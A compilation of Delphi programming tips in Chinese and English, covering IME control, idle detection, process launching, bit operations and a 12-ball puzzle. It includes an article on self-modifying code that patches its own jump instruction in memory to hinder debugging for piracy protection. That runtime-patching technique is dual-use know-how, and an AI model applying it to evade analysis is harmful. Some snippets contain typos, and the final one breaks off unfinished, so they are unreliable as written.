    以上程序代码已在dephi3.0/win95环境中运行通过，并在实际运用中得到验证。对合法用户而言，这样的机制，只要其录入注册码一次就可以，不增加其日常使用的负担；而对非法用户而言，除非他得到注册码或重装windows95，否则超过使用次数后，将无法继续使用。当然在实际应用中还有许多地方可以进一步加强反破解能力，欢迎朋友们提出批评和指导。

(福建　杨健珊)


Self-Modifying Code With Delphi
可执行文件的自修改

The Unofficial Newsletter of Delphi Users - by Robert Vivrette

--------------------------------------------------------------------------------

Self-Modifying Code With Delphi

by Marcus M?nnig - minibbjd@gmx.de

Preface

Lots of people using high-level languages, like Object Pascal, do not know much about what happens with their code when they click compile in Delphi. If you have a basic knowledge about assembler and about the exe file format, the comments in the source code should make everything pretty clear. For everyone else, I will try to explain what's done in the source code.

My own knowledge about assembler and the exe format is limited and I learned most of it while looking for information about piracy protection and how to implement self-modifying code myself. The reason why I did this article is that I found very little information about this issue, so I put everything I found together to share it. Further, english is not my native language, so excuse any spelling and grammatical mistakes.

Self-modifying code with Delphi

What is it? Normally, we modify our code at design time. This usually happens inside Delphi before the code is compiled. Well, we all know this.

Then, sometimes compiled code gets modified, e.g. a patch might be applied to a (non-running) exe file to do changes to the original exe. This is often used when applications are distributed widely and the users want to update to a newer version. To save download time and to prevent that the user has to reinstall the whole application again, only the differences between two versions of an exe file are distributed in a patch file an applied to the old version of the exe. Another example of patch files are "cracks"... little com or exe files that remove built-in limitations (evaluation time limits, etc.) from applications.

These two kinds of code modifications are obviously done before the exe is executed. When an exe file is executed the file gets loaded into memory. The only way to affect the behavior of the program after this point is to modify the memory where the exe now resides.

A program that modifies itself while it is running by doing changes to the memory uses "self-modifying code".

Why is it bad?

Self-modifying code makes debugging harder, since there is a difference in what is in the memory and what the debugger thinks is in the memory.

Self-modifying code also has a bad reputation, especially because the most prominent use for it are viruses, that do all kinds of hide and seek tricks with it. This also means that if you use self-modifying code it's always possible that a virus checker will complain about your application.

Why is it good?

Self-modifying code makes debugging harder. While this is bad if you want to debug your code, it's good to prevent others from debugging your code or at least make it harder for them. This is the reason why self-modifying code can be an effective part of a piracy protection scheme. It won't prevent that an application can be cracked, however a wise use of this technique can make it very hard.

What functions are needed?

In a Windows environment we can make use the following API calls:

ReadProcessMemory(hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesRead);

This function is used, well, to read the memory of a process. Since this article is about _self_-modifying code, we will always use this function on our process only.

WriteProcessMemory(hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesWritten);

Used for writing data to a process memory.

VirtualProtect(lpAddress,dwSize,flNewProtect,lpflOldProtect);

Used to change the access protection of a region in memory. To learn more about these functions, refer to the Win32 help file that ships with Delphi and take a look how they are used in the sample code.

What does the example code do?

The code that will be modified is inside the CallModifiedCode procedure:

procedure TForm1.CallModifiedCode(Sender: TObject);

var

b:boolean;

c:TColor;

label 1;

begin

c := clgreen;

b := true;

if b then goto 1;

asm

nop

nop

nop

nop

nop

nop

end;

c := clred;

1:

form1.Color := c;

end;

After studying the code you might be puzzled about some things. Obviously, this code sets the color of Form1, but as it is, the color will always be green, since b is always true, so it will always jump to label 1 and c:=clred before never gets called.

However, there is another function in the program that will change the line if b then goto 1; to if NOT(b) then goto 1; while the program is running, so after this modification in memory is done and this function is called again the form will actually be changed to red. Note that we will not change the boolean value of b, but virtually insert a "NOT" into the if statement.

Surely you noticed the six "nop"'s. "nop" is an assembler instruction and means "no operation", so these 6 lines do just nothing. 6 nop's in a row are quite unusual in a compiled exe, so we will use these nops as a marker for the position of the if statement above inside the compiled exe.

To understand how we will modify the code, we need to take a look at what the compiler will make from our pascal code. You can do this by running the project from Delphi, setting a breakpoint on the line with the if statement and (once you called the CallModifiedCode procedure by clicking the button and the debugger stopped the execution) opening the CPU window from Delphi's debug menu. You will see something like this:

807DFB00 cmp byte ptr [ebp-$05],$00

750D jnz TForm1.CallModifiedCode + $2A

90 nop

90 nop

90 nop

90 nop

90 nop

90 nop

Well, we can clearly see the 6 nops we placed in our code. The two lines above are the assembler code of the if statement. The first line compares a value (as we know from the pascal code this has to be the boolean value of b) with $00, the hexadecimal notation of 0, that in the case of a boolean variable means false.

The second line starts with jnz, what means "jump if not equal" (technically, "jump if not zero") and the address to jump to if the compared values from line one are not equal. So, the first two lines mean: "Compare the value of variable b with 0 (false) and if they are not equal jump away."

Note the hexadecimal values to the left of the asm code above. Each assembler instruction has a unique hexadecimal identifier. Obviously, $90 means "nop". $75 means "jnz", which is followed by the address (relative to the current address) to jump to ($0D in this case). $80 means "cmp" followed by some hexadecimal data specifying what and how it it compared. This hexadecimal representation of the assembler instructions is what makes the exe. If you have a hex editor, load the compiled exe and try to search for "909090909090". You will quickly find it and you will notice that the values before will be identical with the values above.

So, coming back to our task, if we want to insert "NOT" into our if statement, we will need to replace "jnz" with "jz". "jz" means "jump if zero" or "jump if equal". Replacing "jnz" with "jz" will reverse the condition in the original if statement, so once this modification is done the jump will not be done and the line c:=clRed; will be executed and the form will get red. As I said, "jnz" is represented by the hexadecimal value $75. The hexadecimal value for "jz" is $74.

Let's summarize what we have to do to change "if b then goto 1;" to "if NOT(b) then goto 1;": Locate $909090909090 in memory. From this position, go back two bytes and replace $75 with $74. If we want to go back to the original code, we do the same, but replace $74 with $75.

This is what is done in procedure TForm1.ModifyCode. I'll not go into further details here, but the source has lots of comments. You can download the sample code for this article by clicking here. After calling ModifyCode by clicking one of the two buttons on the right, click the "Execute code" button again and open the CPU view in Delphi to see that $75 was actually replaced with $74 or vice versa.

Epilog

There are easier ways to set the color of a form depending on which button was clicked ;-), but of course the purpose here is to demonstrate the concept of self-modifying code. Self-modifying code is a powerful technique and the example code might be very useful to implement a piracy protection scheme.

Finally, a small warning: You should take care when using a series of assembler nop's as a marker in real world applications, as these kind of unused code sections can be a nest for some viruses, e.g. the

W95/CIH1003 virus.

CPCW版权所有，未?shy;允许不得转载


IME Tool Library
(* -------------------------------------------------- *)

(* Chien's IME Tool Library

(* ========================

(* 环境需求:

(* Windows 95 中文版 + Delphi 2

(*

(* Updated on 1996.11.12

(*

(* 特别声明: 本单元可以免费自由应用与散播, 条件如下:

(* 1. 请发一封 E-Mail 给我, 以便日后版本修订时能通知到您

(* 2. 由于是免费的单元且原始程序已公开, 所以我并不负担您

(* 程序除错维护或资料损失的任何责任.

(*

(* 作者: 钱达智(Wolfgang Chien)

(* E-Mail: wolfgang@ms2.hinet.net

(* -------------------------------------------------- *)

unit IME95;

// 这些函式, 我通常是在 Edit 的 OnDblClick 事件中呼叫测试

interface

uses

Windows, Messages, SysUtils, IMM,

Classes, Graphics, Controls, Forms;

// 请注意, IMM.PAS 必须置于与本单元同一目录或

// 主选单 Tools | Options | Library Path 中的任一个目录

// IMM.PAS 可在 Delphi 2.0 的 Source目录中找到

const

nHKL_LIST = 20;

type

TImeUIWindow = class(TCustomControl)

private

procedure CMTextChanged(var Message: TMessage); message CM_TEXTCHANGED;

protected

procedure CreateParams(var Params: TCreateParams); override;

procedure Paint; override;

public

constructor Create(AOwner: TComponent); override;

procedure ShowComposition(ptWhere: TPoint; const sHint: string); virtual;

// function IsHintMsg(var Msg: TMsg): Boolean; virtual;

// procedure ReleaseHandle;

property Caption;

property Canvas;

property Color;

end;

// 显示某一输入法的设定对话盒

function ShowIMEConfigDialog(hKB: HKL): BOOL; far;

// 指定某一窗口的中英输入模式

procedure ToChinese(hWindows: THandle; bChinese: boolean); far;

// 下一个输入法(等于仿真预设的 Ctrl + Shift)

procedure NextIME; far;

// 侦测目前作用中的输入法文件名称

function GetImeFileName: string; far;

// 切换到指定的输入法

function SetActivateIme(sWanted: string): boolean; far;

// 切断到中文输入法, 同时指定全/半角

function ImeFullShape(hWindow: HWND; bToFullShape: BOOL): BOOL; far;

// 送入一段字符串到指定的窗口

procedure SendDBCSString(hFocus: HWND; const sSend: string); far;

// 取得目前的拆字字根

function GetImeCompositonString(hWindow: HWND): string; far;

// 取得目前的拆字结果

function GetImeCompositonResult(hWindow: HWND): string; far;

// 取消某次的组字过程

procedure CancelComposition(hWindow: THandle); far;

// 设定组字字根

procedure SetImeCompositonString(hWindow: THandle; const sCompStr: string); far;

// 显示/不显示屏幕小键盘

function ShowSoftKeyboard(hWindow: HWND; bShowIt: BOOL): BOOL; far;

// 要不要相关字词功能

function PhrasePredict(hWindow: HWND; bPredict: BOOL): BOOL; far;

// 查询某字的组字字根

function QueryCompStr(hKB: HKL; const sChinese: AnsiString): string; far;

// --------------------------------------------------

// --------------------------------------------------

implementation

// --------------------------------------------------

// 指定某一窗口的中英输入模式

// ToChinese(True); ==> 切换到中文输入法

// ToChinese(False); ==> 切换到英数输入模式

// [注意事项]

// 1. 同一个 Tread 共享同一个 Input Context

// 2. 可能的话, 最好应在呼叫完本程序的下一列写上:

// Application.ProcessMessages;

// --------------------------------------------------

procedure ToChinese(hWindows: THandle; bChinese: boolean);

begin

if ImmIsIME(GetKeyboardLayOut(0)) <> bChinese then

ImmSimulateHotKey(hWindows, IME_THotKey_IME_NonIME_Toggle);

end;

// --------------------------------------------------

// 下一个输入法(等于仿真预设的 Ctrl + Shift)

//

//

// --------------------------------------------------

procedure NextIME;

begin

ActivateKeyboardLayout(HKL_NEXT, 0);

end;

// --------------------------------------------------

// 切换到指定的输入法

//

// SetActivateIme('CHAJEI.IME'); ==> 切换到仓额输入法

// SetActivateIme('Phon.ime'); ==> 切换到注音输入法

// 传入空字符串时, 切换到英数输入法

// --------------------------------------------------

function SetActivateIme(sWanted: string): boolean;

var

iHandleCount : integer;

pList : array[1..nHKL_LIST] of HKL;

szImeFileName : array[0..MAX_PATH] of char;

sImeFileName : string;

bInstalled : boolean;

i : integer;

begin

Result := False;

sWanted := AnsiUpperCase(sWanted);

// 传入空字符串, 切成英数输入模式

if Length(sWanted) = 0 then

begin

ToChinese(0, False);

Result := True;

Exit;

end;

// 看看是否安装了这个输入法

bInstalled := False;

iHandleCount := GetKeyboardLayoutList(nHKL_LIST, pList);

for i := 1 to iHandleCount do

begin

ImmGetIMEFileName(pList[I], szImeFileName, MAX_PATH);

sImeFileName := AnsiUpperCase(StrPas(szImeFileName));

if sImeFileName = sWanted then

begin

bInstalled := True;

Break;

end;

end;

// 如果这个输入法已安装了, 让那个输入法的键盘分布(KeyLayout)作用

if bInstalled then

begin

ActivateKeyboardLayout(pList[i], 0);

Result := True;

end;

end; { of SetActivateIme }

// --------------------------------------------------

// 侦测目前作用中的输入法文件名称

// 传回值为空字符串时, 表示英数输入模式

//

// --------------------------------------------------

function GetImeFileName: string;

var

szImeFileName : array[0..MAX_PATH] of char;

begin

if ImmGetIMEFileName(GetKeyboardLayout(0), szImeFileName, MAX_PATH) <> 0 then

Result := AnsiUpperCase(StrPas(szImeFileName))

else

Result := '';

end;

// --------------------------------------------------

// 切换成中文输入法, 并且指定使用半/全角输入模式

// 传回值: True: 成功 / False 切换失败

// 使用示例: ImeFullShape(Form1.Handle, True); // 全角

// ImeFullShape(Form1.Handle, False); // 半角

// --------------------------------------------------

(*

这个函数也可以用以下的方式来作作看:

if not ImmIsIME(GetKeyboardLayout(0)) then

ImmSimulateHotKey(hWindow, IME_THOTKEY_IME_NONIME_TOGGLE);

Application.ProcessMessages;

ImmSimulateHotKey(hWindow, IME_THOTKEY_SHAPE_TOGGLE);

*)

function ImeFullShape(hWindow: HWND; bToFullShape: BOOL): BOOL;

var

hic : HIMC;

Conversion, Sentence: DWORD;

msgPeekResult : TMsg;

begin

Result := False;

if hWindow = 0 then hWindow := GetFocus;

if hWindow = 0 then Exit;

// 切换成中文输入法

if not ImmIsIME(GetKeyboardLayout(0)) then

ImmSimulateHotKey(hWindow, IME_THOTKEY_IME_NONIME_TOGGLE);

while PeekMessage(msgPeekResult, hWindow, 0, 0, PM_REMOVE) do

begin

TranslateMessage(msgPeekResult);

DispatchMessage(msgPeekResult);

end;

// 转换成半/全角输入模式

hic := ImmGetContext(hWindow);

if hIC = 0 then Exit;

try

if not ImmGetConversionStatus(hIc, Conversion, Sentence) then Exit;

if bToFullShape then

Conversion := Conversion or IME_CMODE_FULLSHAPE

else

Conversion := Conversion and (not IME_CMODE_FULLSHAPE);

if not ImmSetConversionStatus(hic, Conversion, Sentence) then Exit;

Result := True;

finally

ImmReleaseContext(hWindow, hic);

end;

end; { of ImeFullShape }

// --------------------------------------------------

// 送入一段字符串到指定的窗口

// 例如: SendDBCSString(Edit1.Handle, '测试');

//

// 若第一个自变量为零, 则送往目前作用中的控件

// 例:

// Edit1.SetFocus;

// SendDBCSString(0, '测试');

// --------------------------------------------------

procedure SendDBCSString(hFocus: HWND; const sSend: string);

var

hActiveControl : HWND;

i : integer;

ch : byte;

begin

if hFocus = 0 then hFocus := GetFocus;

if hFocus = 0 then Exit;

i := 1;

while i <= Length(sSend) do

begin

ch := byte(sSend[i]);

// SendMessage(hFocus, WM_CHAR, ch, 0); // 这样子不行

if Windows.IsDBCSLeadByte(ch) then

begin

Inc(i);

SendMessage(hFocus, WM_IME_CHAR, MakeWord(byte(sSend[i]), ch), 0);

end

else

SendMessage(hFocus, WM_IME_CHAR, word(ch), 0);

Inc(i);

end;

end; { of SendDBCSString }

// --------------------------------------------------

// 取得目前的拆字字根

//

//

// --------------------------------------------------

function GetImeCompositonString(hWindow: HWND): string;

var

hIC : HIMC;

pBuf : pchar;

dwBufLen : DWORD;

begin

Result := '';

hIC := ImmGetContext(hWindow); // 取得目前 thread 的 input context

if hIC = 0 then Exit;

// 查一下 Buffer 需要多大的内存才能容纳

dwBufLen := ImmGetCompositionString(hIC, GCS_COMPSTR, nil, 0);

if dwBufLen <= 0 then Exit;

try

GetMem(pBuf, dwBufLen + 1); // 配置内存

if ImmGetCompositionString(hIC, GCS_COMPSTR, pBuf, dwBufLen) > 0 then

Result := string(StrLCopy(pBuf, pBuf, dwBufLen));

finally

FreeMem(pBuf, dwBufLen + 1);

ImmReleaseContext(hWindow, hIC);

end;

end;

// --------------------------------------------------

// 取得拆字结果

//

//

// --------------------------------------------------

function GetImeCompositonResult(hWindow: HWND): string;

var

hIC : HIMC;

pBuf : pchar;

dwBufLen : DWORD;

begin

Result := '';

hIC := ImmGetContext(hWindow); // 取得目前 thread 的 input context

if hIC = 0 then Exit;

// 查一下 Buffer 需要多大的内存才能容纳

dwBufLen := ImmGetCompositionString(hIC, GCS_RESULTSTR, nil, 0);

if dwBufLen <= 0 then Exit;

try

GetMem(pBuf, dwBufLen + 1); // 配置内存

if ImmGetCompositionString(hIC, GCS_RESULTSTR, pBuf, dwBufLen) > 0 then

Result := string(StrLCopy(pBuf, pBuf, dwBufLen));

// lblComposition.Caption := StrLCopy(pBuf, pBuf, dwBufLen);

finally

FreeMem(pBuf, dwBufLen + 1);

ImmReleaseContext(hWindow, hIC);

end;

end;

// --------------------------------------------------

// 取消某次的组字过程

//

//

// --------------------------------------------------

procedure CancelComposition(hWindow: THandle);

var

hIc : HIMC;

begin

if hWindow = 0 then hWindow := GetFocus;

if hWindow = 0 then Exit;

hIc := ImmGetContext(hWindow);

if hIc <> 0 then ImmNotifyIme(hIc, NI_COMPOSITIONSTR, CPS_CANCEL, 0);

ImmReleaseContext(hWindow, hIc);

end;

// --------------------------------------------------

// 设定组字字根

//

// SetImeCompositonString(0, '金戈戈');

// --------------------------------------------------

procedure SetImeCompositonString(hWindow: THandle; const sCompStr: string);

var

hIc : HIMC;

begin

if hWindow = 0 then hWindow := GetFocus;

if hWindow = 0 then Exit;

hIc := ImmGetContext(hWindow);

ImmSetCompositionString(hIc, SCS_SETSTR,

pchar(sCompStr), Length(sCompStr), nil, 0);

ImmReleaseContext(hWindow, hIc);

end;

function ShowSoftKeyboard(hWindow: HWND; bShowIt: BOOL): BOOL;

var

hic : HIMC;

Conversion, Sentence: DWORD;

msgPeekResult : TMsg;

begin

Result := False;

if hWindow = 0 then hWindow := GetFocus;

if hWindow = 0 then Exit;

// 切换成中文输入法

if not ImmIsIME(GetKeyboardLayout(0)) then

ImmSimulateHotKey(hWindow, IME_THOTKEY_IME_NONIME_TOGGLE);

while PeekMessage(msgPeekResult, hWindow, 0, 0, PM_REMOVE) do

begin

TranslateMessage(msgPeekResult);

DispatchMessage(msgPeekResult);

end;

// 要不要显示屏幕小键盘

hic := ImmGetContext(hWindow);

if hIC = 0 then Exit;

try

if not ImmGetConversionStatus(hIc, Conversion, Sentence) then Exit;

if bShowIt then

Conversion := Conversion or IME_CMODE_SOFTKBD

else

Conversion := Conversion and (not IME_CMODE_SOFTKBD);

if not ImmSetConversionStatus(hic, Conversion, Sentence) then Exit;

Result := True;

finally

ImmReleaseContext(hWindow, hic);

end;

end; { of ShowSoftKeyboard }

// --------------------------------------------------

// 显示某一输入法的设定对话盒

//

//

// --------------------------------------------------

function ShowIMEConfigDialog(hKB: HKL): BOOL;

begin

// 显示某一输入法的设定对话盒

Result := ImmConfigureIME(hKb, 0, IME_CONFIG_GENERAL, nil);

end;

// --------------------------------------------------

// 要不要相关字词功能

//

//

// --------------------------------------------------

function PhrasePredict(hWindow: HWND; bPredict: BOOL): BOOL;

var

hic : HIMC;

Conversion, Sentence: DWORD;

msgPeekResult : TMsg;

begin

Result := False;

if hWindow = 0 then hWindow := GetFocus;

if hWindow = 0 then Exit;

// 切换成中文输入法

if not ImmIsIME(GetKeyboardLayout(0)) then

ImmSimulateHotKey(hWindow, IME_THOTKEY_IME_NONIME_TOGGLE);

while PeekMessage(msgPeekResult, hWindow, 0, 0, PM_REMOVE) do

begin

TranslateMessage(msgPeekResult);

DispatchMessage(msgPeekResult);

end;

// 要不要相关字词功能

hic := ImmGetContext(hWindow);

if hIC = 0 then Exit;

try

if not ImmGetConversionStatus(hIc, Conversion, Sentence) then Exit;

if bPredict then

Sentence := Sentence or IME_SMODE_PHRASEPREDICT

else

Sentence := Sentence and (not IME_SMODE_PHRASEPREDICT);

if not ImmSetConversionStatus(hic, Conversion, Sentence) then Exit;

Result := True;

finally

ImmReleaseContext(hWindow, hic);

end;

end; { of PhrasePredict }

// --------------------------------------------------

// 查询某字的组字字根

//

//

// --------------------------------------------------

function QueryCompStr(hKB: HKL; const sChinese: AnsiString): string;

var

dwGCL : DWORD;

szBuffer : array[0..254] of char;

iMaxKey, iStart, i: integer;

begin

Result := '';

iMaxKey := ImmEscape(hKB, 0, IME_ESC_MAX_KEY, nil);

if iMaxKey <= 0 then exit;

// 看看这个输入法是否支持 Reverse Conversion 功能

// 同时, 侦测需要多大的空间容纳取得的信息

// comment: 下次修改时可以改成动态配置内存的方式

dwGCL := ImmGetConversionList(

hKB,

0,

pchar(sChinese),

nil,

0,

GCL_REVERSECONVERSION);

if dwGCL <= 0 then Exit; // 该输入法不支持 Reverse Conversion 功能

// 取得组字字根信息, dwGCL 的值必须以上次呼叫 ImmGetConversionList

// 传回值代入

dwGCL := ImmGetConversionList(

hKB,

0,

pchar(sChinese),

@szBuffer,

dwGCL,

GCL_REVERSECONVERSION);

if dwGCL > 0 then

begin

// 为什么是 24?

{

TCandidateList = record

dwSize: DWORD;

dwStyle: DWORD;

dwCount: DWORD;

dwSelection: DWORD;

dwPageStart: DWORD;

dwPageSize: DWORD; 24-th byte

dwOffset: array[1..1] of DWORD;

end;

}

iStart := byte(szBuffer[24]);

for i := iStart to iStart + iMaxKey * 2 do

AppendStr(Result, szBuffer[i]);

end;

end;

// --------------------------------------------------

// { TImeUIWindow }

//

// --------------------------------------------------

constructor TImeUIWindow.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

// Color := $80FFFF;

Color := clSilver;

with Canvas do

begin

Font.Name := '细明体';

Font.Size := 12;

Brush.Style := bsClear;

end;

end;

procedure TImeUIWindow.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

with Params do

begin

// Style := WS_POPUP or WS_BORDER or WS_DISABLED;

Style := WS_POPUP or WS_DISABLED;

WindowClass.Style := WindowClass.Style or CS_SAVEBITS;

if NewStyleControls then ExStyle := WS_EX_TOOLWINDOW;

end;

end;

procedure TImeUIWindow.Paint;

var

rtText, R : TRect;

begin

rtText := ClientRect;

Inc(rtText.Left, 5);

Inc(rtText.Top, 5);

Canvas.Font.Color := clGray;

DrawText(Canvas.Handle, PChar(Caption), -1, rtText, DT_LEFT or DT_NOPREFIX or

DT_WORDBREAK);

rtText := ClientRect;

Inc(rtText.Left, 4);

Inc(rtText.Top, 4);

Canvas.Font.Color := clWhite;

DrawText(Canvas.Handle, PChar(Caption), -1, rtText, DT_LEFT or DT_NOPREFIX or

DT_WORDBREAK);

R := ClientRect;

Canvas.Pen.Color := clGray;

Canvas.Rectangle(R.Left + 2, R.Top + 2, R.Right, R.Bottom);

Canvas.Pen.Color := clWhite;

Canvas.Rectangle(R.Left + 1, R.Top + 1, R.Right - 1, R.Bottom - 1);

end;

procedure TImeUIWindow.CMTextChanged(var Message: TMessage);

begin

inherited;

Width := Canvas.TextWidth(Caption) + 9;

Height := Canvas.TextHeight(Caption) + 9;

end;

procedure TImeUIWindow.ShowComposition(ptWhere: TPoint; const sHint: string);

begin

Caption := sHint;

if ptWhere.Y + Height > Screen.Height then

ptWhere.Y := Screen.Height - Height;

if ptWhere.X + Width > Screen.Width then

ptWhere.X := Screen.Width - Width;

SetWindowPos(Handle, HWND_TOPMOST, ptWhere.X, ptWhere.Y, 0,

0, SWP_SHOWWINDOW or SWP_NOACTIVATE or SWP_NOSIZE);

end;

end.


监测程序多久没有用户输入
const TimeOut=600000;

procedure TForm1.FormCreate(Sender: TObject);

begin

Timer1.Interval :=TimeOut;

Start:=GetTickCount;

Application.OnMessage :=MyMessage;

end;

procedure TForm1.MyMessage(var Msg: TMsg;var Handled: Boolean);

begin

case Msg.message of

WM_MouseMove :Start:=GetTickCount;

WM_LBUTTONDOWN :Start:=GetTickCount;

WM_RBUTTONDOWN :Start:=GetTickCount;

//WM_MOUSEWHEEL :Start:=GetTickCount;

WM_KeyDown :Start:=GetTickCount;

WM_Char :Start:=GetTickCount;

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

if GetTickCount-Start>=TimeOut then

begin

Start:=GetTickCount;

Application.Minimize;

end;

end;


三次求值问题
有12只球，其中有一个是异重球（此球可能比其他球重一些，也可能轻一些），给你一个天平（无砝码，只能判断轻重），要求仅使用天平称重三次，找出此异重球。

卷起千堆雪tyn：

这三组乒乓球分别编号为 A组、B组、C组。

    首先，选任意的两组球放在天平上称。例如，我们把A、B两组放在天平上称。

这就会出现两种情况:

    第一种情况，天平两边平衡。那么，不合格的坏球必在c组之中。

    其次，从c组中任意取出两个球 (例如C1、C2)来，分别放在左右两个盘上，称

第二次。这时，又可能出现两种情况:

    1·天平两边平衡。这样，坏球必在C3、C4中。这是因为，在12个乒乓球中，

只有一个是不合格的坏球。只有C1、C2中有一个是坏球时，天平两边才不平衡。既

然天平两边平衡了，可见，C1、C2都是合格的好球。

    称第三次的时候，可以从C3、C4中任意取出一个球(例如C3)， 同另一个合格

的好球(例如C1)分别放在天平的两边，就可以推出结果。这时候可能有两种结果:

如果天平两边平衡，那么，坏球必是C4;如果天平两边不平衡，那么，坏球必是C3

。

    2·天平两边不平衡。这样，坏球必在C1、C2中。这是因为，只有C1、C2中有

一个是坏球时，天平两边才不能平衡。这是称第二次。

    称第三次的时候，可以从C1、C2中任意取出一个球(例如C1)， 同另外一个合

格的好球(例如C3)，分别放在天平的两边，就可以推出结果。道理同上。

    以上是第一次称之后出现第一种情况的分析。

    第二种情况，第一次称过后天平两边不平衡。这说明，c组肯定都是合格的好

球，而不合格的坏球必在A组或B组之中。

    我们假设:A组 (有A1、A2、A3、A4四球)重，B组(有B1、B2、B3、B4四球)轻。

这时候，需要将重盘中的A1取出放在一旁，将A2、A3取出放在轻盘中，A4仍留在重

盘中。同时，再将轻盘中的B1、 B4取出放在一旁，将B2取出放在重盘中，B3仍留

在轻盘中，另取一个标准球C1也放在重盘中。经过这样的交换之后，每盘中各有三

个球: 原来的重盘中，现在放的是A4、B2、C1，原来的轻盘中，现在放的是A2、

A3、B3。

    这时，可以称第二次了。这次称后可能出现的是三种情况:

    1·天平两边平衡。这说明A4B2C1=A2A3B3，亦即说明，这六只是好球，这样，

坏球必在盘外的A1或B1或B4之中。已知A盘重于B盘。所以，A1或是好球，或是重于

好球;而B1、B4或是好球，或是轻于好球。

    这时候，可以把B1、B4各放在天平的一端，称第三次。这时也可能出现三种情

况:(一)如果天平两边平衡，可推知A1是不合格的坏球，这是因为12只球只有一只

坏球，既然B1和B4重量相同，可见这两只球是好球，而A1为坏球;(二)B1比B4轻，

则B1是坏球;(三) B4比B1轻，则B4是坏球，这是因为B1和B4或是好球，或是轻于好

球，所以第三次称实则是在两个轻球中比一比哪一个更轻，更轻的必是坏 球。

    2·放着A4、B2、C1的盘子(原来放A组)比放A2、A3、B3的盘子(原来放B组)重

。在这种情况下，则坏球必在未经交换的A4或B3之中。这是因为已交换的B2、A2、

A3个球并未影响轻重，可见这三只球都是好球。

    以上说明A4或B3这其中有一个是坏球。这时候，只需要取A4或B3同标准球C1比

较就行了。例如，取A4放在天平的一端，取C1放在天平的另一端。这时称第三次。

如果天平两边平衡，那么B3是坏球; 如果天平不平，那么A4就是坏球 (这时A4重于

C1)。

    3.放A4、B2、C1的盘子(原来放A组)比放在A2、A3、B3的盘 子(原来放B组)轻

。在这种情况下，坏球必在刚才交换过的A2、A3、B23球之中。这是因为，如果A2

、A3、B2都是好球，那么坏球必在A4或B3之中，如果A4或B3是坏球，那么放A4、

B2、C1的盘子一定 重于放A2、A3、B3的盘子，现在的情况恰好相反，所以，并不

是A2、A3、B2都是好球。

    以上说明A2、A3、B2中有一个是坏球。这时候，只需将A2同A3相比，称第三次

，即推出哪一个是坏球。把A2和A3各放在天平的一端 称第三次，可能出现三种情

况:(一)天平两边乎衡，这可推知B2是坏球;(二)A2重于A3，可推知A2是坏球;(三

)A3重于A2，可推知A3是坏球。

    根据称第一次之后，出现的A组与B组轻重不同的情况，我们刚才假设A组重于

B组，并作了以上的分析，说明在这种情况下如何推论哪一个球是坏球。如果我们

现在假定出现的情况是A组轻于B组，这又该如何推论?请你们试着自己推论一下。


执行一个外部程序并等待它的完成
Function WinExecExW(cmd,workdir:pchar;visiable:integer):DWORD;

var

StartupInfo:TStartupInfo;

ProcessInfo:TProcessInformation;

begin

FillChar(StartupInfo,SizeOf(StartupInfo),#0);

StartupInfo.cb:=SizeOf(StartupInfo);

StartupInfo.dwFlags:=STARTF_USESHOWWINDOW;

StartupInfo.wShowWindow:=visiable;

if not CreateProcess(nil,cmd,nil,nil,false,Create_new_console or Normal_priority_class,nil,nil,StartupInfo,ProcessInfo) then

result:=0

else

begin

waitforsingleobject(processinfo.hProcess,INFINITE);

GetExitCodeProcess(ProcessInfo.hProcess,Result);

end;

end;


BIT的操作
位操作，Bit操作：

shr，and

如读第三位：( x shr 3 ) and 1

/// Check the bit is 0 or 1? 1:True,0:False

function CheckBit(const val: DWORD; const TheBit: byte): boolean;

begin

result := (val and (1 shl TheBit)) <> 0;

end;

/// Set bit 1

function SetBitOn(const val: DWORD; const TheBit: byte): DWORD;

begin

result := val or (1 shl TheBit);

end;

/// Set bit 0

function SetBitOff(const val: DWORD; const TheBit: byte): DWORD;

begin

result := val and ((1 shl TheBit) xor $FFFFFFFF);

end;

/// Toggle the bit,1-->0 ,0-->1

function ToggleBit(const val: DWORD; const TheBit: byte): DWORD;

begin

result := val xor (1 shl TheBit);

end;


根据汉字查输入法的编码
function QueryCompStr(hKB: HKL; const sChinese: AnsiString): string;

var

dwGCL: DWORD;

szBuffer: array[0..254] of char;

iMaxKey, iStart, i: integer;

begin

Result := '';

iMaxKey := ImmEscape(hKB, 0, IME_ESC_MAX_KEY, nil);

if iMaxKey <= 0 then exit;

dwGCL := ImmGetConversionList(hKB,0,pchar(sChinese),nil,0,GCL_REVERSECONVERSION);

if dwGCL <= 0 then Exit;

dwGCL := ImmGetConversionList(hKB,0,pchar(sChinese),@szBuffer,dwGCL,GCL_REVERSECONVERSION);

if dwGCL > 0 then

begin

iStart := byte(szBuffer[24]);

for i := iStart to iStart + iMaxKey * 2 do

AppendStr(Result, szBuffer[i]);

end;

end;

但是上面的程序有问题，解决如下：

------------------------------------------------------------

在QueryCompStr中做如下修改就好(test in:win98 se+delphi5)

dwGCL := dwGCL+sizeof(TCandidateList); //add this line then ok,编码查询功能只支持单字，不支持词组。

dwGCL := ImmGetConversionList(hKB,0,pchar(sChinese),@szBuffer,dwGCL,GCL_REVERSECONVERSION);

----------------------------------------------------------------

按照pqx给我的答案，问题已解决部分，但用这种方法并不是所有的输入法都能查出，而用Windows自已的编码查询功能（右击输入法提示条，设置->编码查询，选择相应的输入法）则都能查出来，这是为什么呢？（如“王码五笔4.0”就查不出，而微软的“王码五笔86版”、“王码五笔98版”则都能查到。）

反查编码的的例子可以到 http://www.mildragon.com 的“学习园地”下载。本例是改自台湾钱达智先生的一个例子QRYCOMP（可以在Delphi深度历险中下载）。

*********

var

iHandleCount: integer;

pList: array[1..nHKL_LIST] of HKL;

szImeName: array[0..254] of char;

i: integer;

sFound: string;

begin

lstComposition.Items.Clear;

iHandleCount := GetKeyboardLayoutList(nHKL_LIST, pList);

for i := 1 to iHandleCount do

begin

if ImmEscape(pList[i], 0, IME_ESC_IME_NAME, @szImeName) > 0 then

begin

sFound := QueryCompStr(pList[i], edtExam.Text);

if sFound <> '' then

lstComposition.Items.Add(StrPas(szImeName) + ': ' + sFound);

end;

end;


防止程序的多次运行
互斥对象（CreateMutex）应该是最好的方法

//项目文件

...

begin

Application.initialation;

if CreateMutex then begin

Application.CreateForm(Form1, TForm1);

Application.Run;

end else

DestroyMutex;

end;

//主窗体文件

...

implementation

var

Mutex: hWnd;

function CreateMutex: Boolean;

var

PrevInstHandle: THandle;

